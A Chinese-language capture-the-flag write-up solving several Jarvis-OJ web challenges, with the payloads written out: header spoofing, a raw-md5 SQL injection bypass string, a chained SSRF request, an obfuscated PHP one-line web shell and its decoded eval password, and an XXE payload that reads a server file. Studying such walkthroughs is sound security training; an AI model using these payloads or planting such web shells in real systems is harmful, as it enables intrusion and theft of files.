Jarvis-OJ-Web writeup

PORT51

訪問了頁面發現讓你

Please use port 51 to visit this site.

明顯是綁定的端口,不可能用51端口去訪問啊,很困惑結果是自己去訪問的時候需要用到51端口啊…原來如此,使用curl中的–local-port命令

--local-port <端口號>[-num]設置連接使用的首選端口號或本地端口範圍。請注意,端口號是一種稀缺資源,繁忙時,請將端口範圍縮小來避免不必要的連接失敗。(在7.15.2版加入)

構造payload如下

sudo curl --local-port 51 http://web.jarvisoj.com:32770/

1得到結果

PCTF{M45t3r_oF_CuRl}

 

LOCALHOST

http://web.jarvisoj.com:32774/

題目鏈接點進去提示說,localhost access only!!

直接改請求頭裏的X-Forwarded-For: 127.0.0.1即可。

Yeah!! Here's your flag:

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

 

Login

http://web.jarvisoj.com:32772/

抓包,發現了hint Hint: "select * from `admin` where password='".md5($pass,true)."'"

想到萬能密碼繞過

萬能密碼字符串:ffifdyop

md5後的值:276f722736c95d99e921722cf9ed621c

十六進制解碼得到:'or'6 ]  !r,  b

所以輸入ffifdyop得到

Correct pass!! Your Flag:

PCTF{R4w_md5_is_d4ng3rous}

 

Hello World

http://web.jarvisoj.com:32792/

御劍掃描發現admin_s3cr3t.php,訪問

http://web.jarvisoj.com:32792/admin_s3cr3t.php

得到flag{hello guest} 但不對

bs抓包改admin=1

得到

flag{hello_admin~}

 

菜刀

http://web.jarvisoj.com:32782/

看源碼有SSRF漏洞,bs抓包提示,管理員ip必須爲202.5.19.128,構造:

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots.txt

顯示

User-agent: *

Disallow:trojan.php

Disallow:trojan.php.txt

訪問

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php.txt

得到

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

複製到php文件,用phpstuy解析,得到一句話木馬密碼360

Warning: assert() [function.assert]: Assertion "eval($_POST[360])" failed in C:\phpStudy\PHPTutorial\WWW\222.php on line 1

然後訪問

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php

POST內容:360=phpinfo();

發現直接顯示了flag

flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}

 

api調用

題目鏈接: http://web.jarvisoj.com:9882/

在窗口輸入數據會根據輸入數據有不同的回顯。

回顯爲輸入數據+own

結合題目描述:請設法獲得目標機器/home/ctf/flag.txt中的flag值,想到了利用XXE讀取文件。

於是把請求頭裏的Content-Type改爲application/xml,並傳入<name>miracle778</name>進行測試,如下圖,發現返回了XML內容。

於是可以確定,此處存在XXE漏洞,然後只需構造payload讀取/home/ctf/flag.txt即可。

payload:

<!DOCTYPE miracle [

<!ENTITY name SYSTEM "file:///home/ctf/flag.txt">

]

>

<miracle>&name;</miracle>

 

可以得到最後的flag爲

CTF{XxE_15_n0T_S7range_Enough}

 

待續

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章